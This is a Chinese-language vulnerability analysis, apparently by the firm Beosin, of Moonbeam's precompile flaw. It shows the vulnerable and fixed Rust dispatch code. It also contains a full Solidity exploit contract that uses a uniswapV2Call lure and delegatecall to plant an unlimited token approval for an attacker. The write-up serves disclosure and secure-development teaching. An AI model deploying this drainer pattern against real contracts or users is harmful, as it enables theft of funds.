撰文:Beosin

2022 年5 月,白帽組織pwning.eth 向Moonbeam 提交了一個關於預編譯合約的嚴重漏洞,該漏洞能使得攻擊者任意轉移他人資產,當時該漏洞所影響資金高達1 億美元。

據了解,該漏洞涉及對非標準以太坊預編譯的調用。這些地址允許EVM 通過智能合約訪問Moonbeam 的一些核心功能(如XC-20、質押和民主pallet),這些功能並不存在於基礎的EVM 中。通過DELEGATECALL,一個惡意的智能合約可以回調訪問另一方的預編譯存儲。

普通用戶不會遇到這個問題,這需要他們主動向該惡意智能合約發送交易。然而,對於其他允許任意調用外部智能合約的智能合約來說(比如部分允許回調的智能合約),這是一個問題。在這些情況下,不法使用者能對DEX 執行對惡意智能合約的調用,該智能合約將能夠訪問偽裝DEX 的預編譯,並可能將合約中的餘額轉移到任何其他地址。

接下來跟著Beosin 安全研究團隊來看一下該漏洞的利用原理與實現過程。

預編譯合約漏洞曾造成1億美元損失,一文解析該漏洞的利用原理與實現過程

什麼是預編譯合約?

在EVM 中,一份合約代碼會被解釋成一個個的指令並執行,在每條指令執行過程中,EVM 都會對執行條件進行檢查,也就是gas 費是否充足,若gas 不足,則會拋出錯誤。

EVM 虛擬機在執行交易的過程中數據存儲並不是基於寄存器,而是基於棧的操作,每次數據讀寫操作都必須從棧頂開始,所以導致其運行效率非常低,加上每一條指令都需要進行運行檢查,那麼在對一個相對複雜的運算進行執行時,可能需要大量的時間成本,而在區塊鏈中,正需要很多這種複雜的運算,例如加密函數、哈希函數等,導致很多函數在EVM 環境中執行是不現實的。

預編譯合約便是EVM 為了一些不適合在EVM 中執行的較為複雜的庫函數( 多用於加密、哈希等複雜運算) 而設計的一種折中方案,主要用於一些計算複雜但邏輯簡單且調用頻繁的一些函數或邏輯固定的合約。

部署預編譯合約需要發起EIP 提案,審核通過後將同步到各個客戶端。例如以太坊實現的某些預編譯合約:ercecover()(橢圓曲線公鑰恢復,地址0x1)、sha256hash()(Sha256Hash 計算,地址0x2)、ripemd160hash()(Ripemd160Hash 計算,地址0x3)等,這些函數都被設置成了一個固定的gas 花費,而不用在調用過程中按照字節碼進行gas 計算,大大降低了時間成本與gas 成本。並且由於預編譯合約通常是在客戶端用客戶端代碼實現,不需要使用EVM,所以運行速度快。

預編譯合約漏洞曾造成1億美元損失,一文解析該漏洞的利用原理與實現過程

關於Moonbeam 項目漏洞

在Moonbeam 項目中,Balance ERC-20 precompile 提供了一個ERC-20 接口來處理balance 的原生代幣,合約可以使用address.call 的方式對預編譯合約進行調用,此處address 為預編譯地址,下列是moonbeam修復之前的代碼預編譯合約調用的代碼。

fn execute(&self, handle: &mut impl PrecompileHandle) -> Option {

match handle.code_address() {

// Ethereum precompiles :

a if a == hash(1) => Some(ECRecover::execute(handle)),

a if a == hash(2) => Some(Sha256::execute(handle)),

a if a == hash(3) => Some(Ripemd160::execute(handle)),

a if a == hash(5) => Some(Modexp::execute(handle)),

a if a == hash(4) => Some(Identity::execute(handle)),

a if a == hash(6) => Some(Bn128Add::execute(handle)),

a if a == hash(7) => Some(Bn128Mul::execute(handle)),

a if a == hash(8) => Some(Bn128Pairing::execute(handle)),

a if a == hash(9) => Some(Blake2F::execute(handle)),

a if a == hash(1024) => Some(Sha3FIPS256::execute(handle)),

a if a == hash(1025) => Some(Dispatch::::execute(handle)),

a if a == hash(1026) => Some(ECRecoverPublicKey::execute(handle)),

a if a == hash(2048) => Some(ParachainStakingWrapper::::execute(handle)),

a if a == hash(2049) => Some(CrowdloanRewardsWrapper::::execute(handle)),

a if a == hash(2050) => Some(

Erc20BalancesPrecompile::::execute(handle),

),

a if a == hash(2051) => Some(DemocracyWrapper::::execute(handle)),

a if a == hash(2052) => Some(XtokensWrapper::::execute(handle)),

a if a == hash(2053) => Some(

RelayEncoderWrapper::::execute(handle)

),

a if a == hash(2054) => Some(XcmTransactorWrapper::::execute(handle)),

a if a == hash(2055) => Some(AuthorMappingWrapper::::execute(handle)),

a if a == hash(2056) => Some(BatchPrecompile::::execute(handle)),

// If the address matches asset prefix, the we route through the asset precompile set

a if &a.to_fixed_bytes()[0..4] == FOREIGN_ASSET_PRECOMPILE_ADDRESS_PREFIX => {

Erc20AssetsPrecompileSet::::new()

.execute(handle)

}

// If the address matches asset prefix, the we route through the asset precompile set

a if &a.to_fixed_bytes()[0..4] == LOCAL_ASSET_PRECOMPILE_ADDRESS_PREFIX => {

Erc20AssetsPrecompileSet::::new().execute(handle)

}

_ => None,

}

}

上述代碼是由Rust 語言實現的moonbase 預編譯合約集的執行方法(fn execute()),該方法會匹配調用的預編譯合約地址,然後交由不同的預編譯合約去處理輸入的data。執行方法傳入的handle(預編譯交互句柄)包括了call(call_data) 中的相關內容,以及交易上下文信息等。

因此當要調用ERC20 預編譯代幣合約時,需通過0x000...00802.call(fanction(type),parameter) 的方式(0x802=2050),便能調用ERC20 預編譯代幣合約的相關函數。

但上述moonbase 預編譯合約集的執行方法存在一個問題即未檢查其他合約的調用方式。如果使用delegatecall(call_data) 而不是call(call_data) 的方式調用預編譯合約及,便會出現問題。

接下來我們先看一下使用delegatecall(call_data) 和call(call_data) 的區別:

1.使用EOA 賬戶在合約A 中利用address.call(call_data) 調用另一個合約B 的函數時,執行環境是在合約B 中,使用的調用者信息(msg) 是合約A,如下圖。

預編譯合約漏洞曾造成1億美元損失,一文解析該漏洞的利用原理與實現過程

2.利用delegatecall 調用時,執行環境是在合約A 中,使用的調用者信息(msg) 是EOA,而無法修改合約B 中的存儲數據。如下圖。

預編譯合約漏洞曾造成1億美元損失,一文解析該漏洞的利用原理與實現過程

無論通過什麼方式調用,EOA 信息和合約B 無法通過合約A 綁定到一起,這使得合約之間的調用是安全的。

因此由於moonbase 預編譯合約集的執行方法(fn execute())未檢查調用的方式。那麼當使用delegatecall 去調用預編譯合約,也會在預編譯合約中去執行相關方法並寫入預編譯合約的存儲中。即如下圖所示,當EOA 賬戶去調用了一個攻擊者編寫的惡意合約A,A 中使用delegatecall 的方式去調用了預編譯合約B。這將會在A 和B 中同時寫入調用後的數據,實現釣魚攻擊。

預編譯合約漏洞曾造成1億美元損失,一文解析該漏洞的利用原理與實現過程

漏洞利用過程

攻擊者可以部署以下釣魚合約,並通過釣魚等方式誘使受害用戶調用釣魚函數-uniswapV2Call,而函數會再次調用實現了delegatecall(token_approve) 的stealLater 函數。

根據上述介紹規則,攻擊合約調用代幣合約的approve 函數授權(asset=0x000...00802),當用戶調用uniswapV2Call 之後,會在釣魚合約和預編譯合約的storage 中同時寫入授權,攻擊者只用調用預編譯合約的transferfrom 函數便可將用戶代幣全部轉移出去。

pragma solidity >=0.8.0;

contract ExploitFlashSwap {

address asset;

address beneficiary;

constructor(address _asset, address _beneficiary) {

asset = _asset;

beneficiary = _beneficiary;

}

function stealLater() external {

(bool success,) = asset.delegatecall(

abi.encodeWithSignature(

"approve(address,uint256)",

beneficiary,

(uint256)(int256(-1))

)

);

require(success,"approve");

}

function uniswapV2Call(

address sender,

uint amount0,

uint amount1,

bytes calldata data

) external {

stealLater();

}

}

漏洞修復

隨後開發者在moonbase 預編譯合約集的執行方法(fn execute())中判斷了EVM 執行環境的地址是否和預編譯地址一致,以確保只能使用call() 方式對0x000...00009 地址以後的預編譯合約合約進行調用,項目方修復之後的代碼如下:

fn execute(&self, handle: &mut impl PrecompileHandle) -> Option {

// Filter known precompile addresses except Ethereum officials

if self.is_precompile(handle.code_address())

&& handle.code_address() > hash(9)

&& handle.code_address() != handle.context().address

{

return Some(Err(revert(

"cannot be called with DELEGATECALL or CALLCODE",

)));

}

match handle.code_address() {

......

安全建議

關於這個問題,Beosin 安全團隊建議,項目方在項目開發過程中需要考慮到delegatecall 和call 的不同之處,被調用合約能通過delegatecall 進行調用的,需要全方位思考其應用場景以及底層原理,做好嚴格的代碼測試。建議在項目上線前,尋找專業的區塊鏈審計公司進行全面的安全審計。